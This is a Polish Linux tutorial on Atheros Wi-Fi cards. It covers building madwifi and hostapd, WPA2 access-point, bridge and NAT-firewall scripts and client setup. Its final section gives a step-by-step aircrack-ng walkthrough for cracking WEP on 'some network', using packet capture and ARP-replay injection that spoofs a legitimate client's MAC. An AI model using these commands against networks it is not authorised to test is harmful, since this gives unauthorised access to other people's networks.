Wi-Fi w Gnu/Linux AP-wpa2, router-wep (chip atheros)

Karty na tym chipsecie są bardzo uniwersalne i konfigurowalne można na nich postawić Access-point przełączyć w tryb monitoringu obsługują (co pewnie jest w standardzie WPA). Do obsługi tych kart mamy obecnie do wyboru sterownik ath5k (wchodzi w skład jądra Linux) oraz alternatywny sterownik madwifi (lepszy gdy chcemy coś pokombinować z kartą).

Instalacja niezbędnych pakietów

Obecnie aby postawić AP należy skorzystać ze sterowników Madwifi. Kod źródłowy sterowników możemy pobrać ze stronki http://snapshots.madwifi-projekt.org/.

Aby skompilować moduł jądra należy przede wszystkim posiadać kompilator języka C. Dla systemu Fedora dokonamy tego poleceniem

Kod:
yum install gcc gcc-c++

Konieczne jest również posiadanie kodów źródłowych oraz plików nagłówkowych aktualnie posiadanego jądra Linux. Sprawę powinna załatwić instalacja pakietu kernel-devel

Kod:
yum install kernel-devel

Następnym krokiem jest wydanie dwóch magicznych poleceń które skompilują i zainstalują sterownik

Kod:
make
make install

Teraz należy sobie postawić pytanie czy potrzebujemy aby nasz AP korzystał w WPA?? Jeśli tak kolejnym krokiem będzie kompilacja demona hostapd. Kody źródłowe można pobrać z http://hostap.epitest.fi/releases (najnowszą wersją w czasie pisania tej stronki był plik hostapd-0.6.9.tar.gz)Kolejne czynności jakie należy zrobić to:

    Instalacja Hostapd w punktach
  1. Zmienić nazwę pliku /hostapd-0.6.9/hostapd/dconfig na /hostapd-0.6.9/hostapd/.config
  2. Zedytować powstały plik i w odpowiednim miejscu wskazać ścieżkę do źródeł madwifi. Wycinek z mojego pliku wygląda tak:
    Kod:
    # Driver interface for madwifi driver
    CONFIG_DRIVER_MADWIFI=y
    CFLAGS += -I /home/tygrysek/Pobrane/madwifi-trunk-r4031-20090529
  3. Do prawidłowego skompilowania się demona w systemie Fedora11 brakło pakietu OpenSSL-devel (należy odinstalować)
    Kod:
    yum install openssl-devel
  4. Ostatnie kroki to kompilacja i instalacja. polecenia te wydajemy będąc w katalogu /hostapd-0.6.9/hostapd/
    Kod:
    make
    make install

Jak zmusić System aby korzystał z madwifi

Tutaj do wykonania mamy dwa kroki. Po pierwsze musimy sprawić aby nie ładowane były moduł jądra ath5k. Czynność tą najłatwiej wykonać dopisując moduł do pliku blacklist w katalogu /etc/modprobe.d

Kod:
blacklist ath5k

A następnie spróbujemy poinformować system aby załadował sterownik madwifi i ustawił go w trybie ap. W tym celu należy stworzyć w katalogu /etc/modprobe.d plik o przykładowej nazwie ath_pci.conf z następującym wpisem:

Kod:
options ath_pci autocreate=ap

Konfiguracja AP

Aby porady były uniwersalne (działały na każdej dystrybucji) najlepiej napisać własny skrypt. Większość dystrybucji ma coś takiego jak rc.local Pusty skrypt dla użytkowników. Przed rozpoczęciem dalszej konfiguracji należy sobie zadać pytanie czy chcemy z naszego ulubionego Gnu/Linux zrobić ruter czy tylko AP, czy wystarczy nam WEP?? a może szyfrowanie WPA??, czy potrzebujemy firewalla?? od odpowiedzi na te pytania zależeć będzie dalsza konfiguracja. Obecnie korzystam z szyfrowania WPA i udostępnianie neta realizuję poprzez mostek sieciowy (laptopy widoczne są w tej samej sieci co komputer główny). Skrypt ustawiający sieć wygląda u mnie tak:

Skrypt ustawiający AP
rc.hostapd
#!/bin/sh
# Zmienne
HOSTAPD=/usr/local/bin/hostapd
HOSTAPD_CONF=/etc/hostapd.conf
# Skrypt
hostapd_start() {
   if [ $HOSTAPD ]; then
   echo "Start demona HOSTAPD:  $HOSTAPD"
/sbin/ifconfig wlan0 up
/sbin/ifconfig eth0 up
/sbin/iwpriv wlan0 bgscan 0
/sbin/iwpriv wlan0 mode 3
/sbin/iwconfig wlan0 channel 11
/sbin/iwconfig wlan0 rate 54M
/sbin/ifconfig wlan0 0.0.0.0
/sbin/ifconfig eth0 0.0.0.0
/usr/sbin/brctl addbr br0
/usr/sbin/brctl addif br0 eth0
/usr/sbin/brctl addif br0 wlan0
/sbin/dhclient br0
$HOSTAPD -B $HOSTAPD_CONF
      echo "HOSTAPD funkcjonuje"
    fi
}
hostapd_stop() {
  if [  $HOSTAPD ]; then
      echo "Zatrzymywanie demona HOSTAPD: killall hostapd"
      killall hostapd
      echo "Demon zabity"
fi
}
case "$1" in
'start')
  hostapd_start
  ;;
'stop')
  hostapd_stop
  ;;
*)
echo -e "Usage: $0 {start|stop}"
;;
esac 

Widzimy, że na początku skryptu tworzony jest mostek sieciowy (z dwóch interfejsów eth0 i wlan0 zostanie utworzony dodatkowy interfejs br0) do tego celu potrzebne są narzędzia w postaci programu brctl. Program instalujemy

Kod:
yum install bridge-utils

Demon hostapd posiada jeszcze własny plik konfiguracyjny o którym nie należy zapominać. W pliku tym znajdują się takie dane jak nazwa sieci czy klucz WPA. Przykładowy plik konfiguracyjny demona hostapd wyglądać może tak.

Plik konfiguracyjny demona Hostapd
hostapd.conf
interface=wlan0
bridge=br0
driver=madwifi
dump_file=/tmp/hostapd.dump
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
ssid=SLACKWAREAP
#macaddr_acl=1
#accept_mac_file=/etc/hostapd/accept
eapol_key_index_workaround=0
eap_server=0
auth_algs=3
wpa=2
wpa_passphrase=mojehaslo
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=600
wpa_gmk_rekey=86400
rsn_preauth=1
wpa_strict_rekey=1

Ostatnim elementem aby uruchomić demona będzie dodanie wpisu do rc.local (skrypt ten w większości dystrybucji Gnu-Linux znajduje się w katalogu /etc/rc.d)

rc.local
/etc/rc.d/rc.hostapd start

Konfiguracja rutera

Czasami nie możemy sobie pozwolić lub nie chcemy robić mostka sieciowego. Innym pomysłem jest ukrycie naszej sieci za natem. Rozwiązanie to ma swoje zalety np. utrudniony dostęp do sieci z internetu (na zewnątrz nasza sieć jest wówczas widoczna jako jeden komputer). Mój skrypt do ustawienia sieci (jeszcze wtedy korzystałem z szyfrowania WEP) wyglądał jak poniżej

Plik rc.firewall
rc.firewall
#!/bin/bash
ROUTER="yes"
NAT="dynamic"
INTERFACES="lo eth0 ath0 wifi0"
if [ "$1" = "start" ]
then	
echo "	konfiguracja karty..."
   ifconfig ath0 down
   iwconfig ath0 essid SlackRouter key 45:6C:68:69:4D:68:72:65:6B:29:26:00:88
   iwconfig ath0 channel 11
   ifconfig ath0 192.168.0.1 up
   iwpriv ath0 bgscan 0
   echo "Startowanie firewall-a..."
        iptables -P INPUT DROP
	iptables -P FORWARD DROP
	iptables -P OUTPUT ACCEPT
	iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT 
	iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
	# Enable public access to certain services
	iptables -A INPUT -p tcp --dport ssh -m state --state NEW -m recent --update --second 21 --hitcount 3 -j DROP 
	iptables -A INPUT -p tcp --dport ssh -m state --state NEW -m recent --set
	iptables -A INPUT -p tcp --dport ssh  -j ACCEPT
	iptables -A INPUT -p tcp --dport http -j ACCEPT 
    	# Explicitly disable ECN
        if [ -e /proc/sys/net/ipv4/tcp_ecn ]
        then
                echo 0 > /proc/sys/net/ipv4/tcp_ecn
        fi

        # Disable spoofing on all interfaces
        for x in ${INTERFACES}
        do
        echo 1 > /proc/sys/net/ipv4/conf/${x}/rp_filter
        done

        if [ "$ROUTER" = "yes" ]
        then
                # We're a router of some kind, enable IP forwarding
                echo 1 > /proc/sys/net/ipv4/ip_forward
                echo "wlaczony ruter na interfejsie ath0"
                	iptables -A FORWARD -i ath0 -s 192.168.0.13 -o eth0 -j ACCEPT
			iptables -t nat -A POSTROUTING -s 192.168.0.13 -o eth0 -j MASQUERADE
        fi
elif [ "$1" = "stop" ]
then
        echo "Stopping firewall..."
        iptables -F INPUT
        iptables -P INPUT ACCEPT
        # Turn off NAT/masquerading, if any
        iptables -t nat -F POSTROUTING
#	echo "zamykanie interfejsu ..."
/usr/local/bin/wlanconfig ath0 destroy
fi

Powyższy skrypt to skrypt prostego firewalla opartego o IpTables. Zawiera on takie elementy jak blokowanie ruchu przychodzącego na komputer pozwala tylko na połączenia ssh (zabezpieczenie przed atakiem brutalforce - po 3 nieudanych logowaniach ban na kilka sekund )oraz wypuszcza stronę www. Skrypt pozwala jeszcze na połączenie ze światem zewnętrznym przez radiówkę komputerowi o adresie 192.168.0.13 (komputer ten będzie schowany za natem)

Wi-fi konfiguracja klientów

Jeżeli nasz Linux ma pracować jako klient sieci Wi-Fi to pracy w ustawieniu pingwina jest znacznie mniej:). Obecnie jądro radzi sobie z wykrywaniem większości kart radiowych. Sterowniki to tych na chipsecie atherosa też już są w jądrze więc jak ktoś nie odczuwa potrzeby to nie musi kompilować zewnętrznych z madwifi. W roli użytkownika pozostaje jedynie ustawienie takich parametrów jak adres IP, nazwa sieci czy klucz wep. Ustawienia te można dokonać za pomocą iwconfig. Jeżeli chcemy korzystać z WPA to do ustawienia sieci należy skorzystać z demona wpa-supplicant. Konfiguracja tego demona jest podobna do konfiguracji hostapd. Poniżej przedstawię plik konfiguracyjny wpa_supplicant oraz rc.local wzięte z mojego laptopa z dystrybucją Kubuntu.

Plik rc.local
rc.local
#!/bin/sh -e
	/sbin/ifconfig ath0 192.168.0.133
	/sbin/route add default gw 192.168.0.1
	/sbin/iwpriv ath0 bgscan 0
	/sbin/iwpriv ath0 mode 3
	/sbin/wpa_supplicant -B -Dwext -iath0 -c/etc/wpa_supplicant.conf
exit 0
Plik wpa_supplicant.conf
wpa_supplicant.conf
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
ctrl_interface=/var/run/wpa_supplicant
eapol_version=1
ap_scan=1
fast_reauth=1

# WPA protected network, supply your own ESSID and WPAPSK here:
network={
	scan_ssid=0
	ssid="SLACKWAREAP"
	proto=WPA2
	key_mgmt=WPA-PSK
	pairwise=CCMP
	group=CCMP
	psk="mojehaslo"
}

Łamanie zabezpieczeń wep

Zabezpieczenia WEP nie jest najlepszym wyborem dla sieci z powodu możliwości łatwego złamania tego typu zabezpieczenia. Dla tego kto chce się zająć tego typu zabawami koniecznym będzie zainstalowanie specjalnie spaczowanych sterowników. Chodzi o to, że normalne sterowniki da się przestawić w tryb monitoringu ale nie da się w tym Trybie wysyłać pakietów, przez co łamanie zabezpieczeń trwa o wiele dłużej (nie zadziała program "aieplay-ng") instrukcje jak spaczować sterowniki można znaleźć na stronie projektu aircrack-ng. http://www.aircrack-ng.org/doku.php?id=madwifi-ng. Numery wersji sterowników i pachy co jakiś czas się zmieniają. Ważne jest aby dobrać odpowiednią wersję patcha do wersji sterownika.

Gdy ze sterownikami jest wszystko w porządku można przystąpić do złamania jakiejś sieci z zabezpieczeniem WEP. W tym celu należy zainstalować pakiet aircrack (metoda dowolna - w niektórych dystrybucjach znajduje się on w repozytoriach).

Przełączyć kartę sieciową w tryb monitoringu

Kod:
airmon-ng start wifi0
Sprawdzić dokładne dane sieci
Kod:
airodump-ng ath0
Zacząć zbierać pakiety z wybranej sieci - zdjęcie nr 2
Kod:
airodump-ng ath0 --channel 6 --bssid 00:1C:F0:7D:B0:C2 -w ala --ivs -a

Gdzie po "--bssid" podajemy mack adres AP-ka bo "-w" nazwa pliku do którego pakiety mają być zapisywane

Aby wygenerować w sieci większy ruch
Kod:
aireplay-ng -3 -b 00:1C:F0:7D:B0:C2 -h 00:19:E0:0F:E6:68 -x 600 ath0

Gdzie po literce "b" podajemy maka AP a po literce "h" maka który legalnie korzysta z sieci patrz zdjęcie nr3

Gdy już aireplay zacznie wysyłać pakiety z zapytaniami zbieranie potrzebnych danych znacznie nabierze tempa. ostatnim krokiem jest zapodanie programu airecrack który to postara się złamać hasło.

aircrack-ng
Kod:
aircrack-ng -x -0 ala-01.ivs ala-02.ivs

ala-01.ivs ala-02.ivs - Lista plików z damymi zebranymi przez program airodump-ng. Oczywiście plików jest więcej tylko wtedy jak zbierasz dane na raty:) normalnie plik jest jeden:P.